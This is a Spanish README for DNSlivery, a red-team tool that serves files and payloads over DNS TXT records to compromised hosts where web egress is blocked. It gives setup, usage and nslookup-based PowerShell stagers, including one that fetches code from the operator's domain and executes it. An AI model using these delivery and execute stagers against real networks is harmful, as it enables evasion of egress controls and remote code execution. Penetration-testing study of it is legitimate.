
Entrega fácil de archivos y payloads a través de DNS
Entrega fácil de archivos y payloads a través de DNS.
Este proyecto ha sido originalmente inspirado por PowerDNS y el segmento técnico de Joff Thyer en el podcast Paul's Security Weekly #590 (youtu.be/CP6cIwFJswQ).
DNSlivery permite entregar archivos a un objetivo utilizando DNS como protocolo de transporte.
Características:

Entrega fácilmente archivos y/o payloads a un objetivo comprometido donde la entrega web clásica no es posible y sin la necesidad de un software cliente dedicado. Esto aplica a entornos restringidos donde el tráfico web saliente está prohibido o simplemente es inspeccionado por un proxy web curioso.

Aunque ya existen herramientas de tunelización DNS más completas (p. ej., dnscat2 y iodine), todas requieren ejecutar un cliente dedicado en el objetivo. El problema es que probablemente no haya otra forma que DNS para entregar el cliente en entornos tan restringidos. En otras palabras, construir un canal de comunicación DNS con estas herramientas requiere ya tener un canal de comunicación DNS.
En comparación, DNSlivery solo proporciona comunicación unidireccional desde tu servidor al objetivo, pero no requiere ningún cliente dedicado para hacerlo. Por lo tanto, si necesitas construir un canal de comunicación bidireccional confiable a través de DNS, usa DNSlivery para entregar el cliente de una herramienta de tunelización DNS más avanzada a tu objetivo.
Al igual que la mayoría de las herramientas de tunelización DNS, DNSlivery utiliza registros TXT para almacenar el contenido de los archivos en su representación base64. Sin embargo, no requiere configurar un servidor DNS completo para funcionar. En su lugar, utiliza la librería scapy para escuchar paquetes DNS entrantes y elaborar la respuesta deseada.

Como la mayoría de los archivos no caben en un único registro TXT, DNSlivery creará múltiples registros ordenados que contienen fragmentos base64 del archivo. Como ejemplo, el diagrama anterior ilustra la entrega del fragmento número 42 del archivo llamado file.
Para recuperar todos los fragmentos base64 y unirlos sin necesidad de un cliente dedicado en el objetivo, DNSlivery generará para cada archivo:

Este proceso de entrega en dos etapas es necesario para agregar características al stager (p. ej., manejar respuestas DNS perdidas) que de otro modo no cabrían en un único registro TXT.
Actualmente, solo se admiten objetivos de PowerShell. Sin embargo, DNSlivery podría mejorarse para admitir objetivos adicionales como bash o python. Por favor, házmelo saber @no0be si esta es una característica que te gustaría ver implementada.
DNSlivery no requiere construir una infraestructura de servidor compleja. De hecho, solo hay dos requisitos simples:
NS en tu zona DNS públicaudp/53 desde InternetEl primer paso es delegar un subdominio al servidor que ejecutará DNSlivery creando un nuevo registro NS en tu dominio. Como ejemplo, creé el siguiente registro para delegar el subdominio dnsd.no0.be al servidor en vps.no0.be.
dnsd IN NS vps.no0.be.
Si tu zona es gestionada por un proveedor externo, consulta su documentación para crear el registro NS.
Los únicos requisitos para ejecutar DNSlivery son python3 y su librería scapy.
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
DNSlivery servirá todos los archivos de un directorio dado (pwd por defecto) y necesita ser ejecutado con privilegios de root para escuchar paquetes udp/53 entrantes.
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Easy files and payloads delivery over DNS
positional arguments:
interface interface to listen to DNS traffic
domain FQDN name of the DNS zone
nameserver FQDN name of the server running DNSlivery
optional arguments:
-h, --help show this help message and exit
-p PATH, --path PATH path of directory to serve over DNS (default: pwd)
-s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
-v, --verbose increase verbosity
Ejemplo:
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Easy files and payloads delivery over DNS
[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...
Dado que el conjunto de caracteres permitido para nombres de dominio es mucho más restrictivo que para nombres de archivo UNIX (según RFC1035), DNSlivery realizará normalización cuando sea necesario.
Ejemplo:
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
Ten en cuenta que el código de normalización actual no es perfecto, ya que no tiene en cuenta nombres de archivo superpuestos ni límites de tamaño.
En el objetivo, comienza por recuperar el lanzador del archivo deseado solicitando su registro TXT dedicado. Los siguientes tres lanzadores son compatibles:
nslookup -type=txt [filename].[stager].[domain]
Luego, simplemente copia y pega el lanzador citado en la respuesta DNS en una consola de PowerShell para recuperar el archivo en el objetivo.
Ejemplo:

| Acción | Lanzador | Descripción |
|---|
| Imprimir | [filename].print.[domain] | (Predeterminado) Imprime el archivo entregado en la consola |
| Ejecutar | [filename].exec.[domain] | Ejecuta el archivo entregado (útil para scripts) |
| Guardar | [filename].save.[domain] | Guarda el archivo entregado en el disco (útil para binarios) |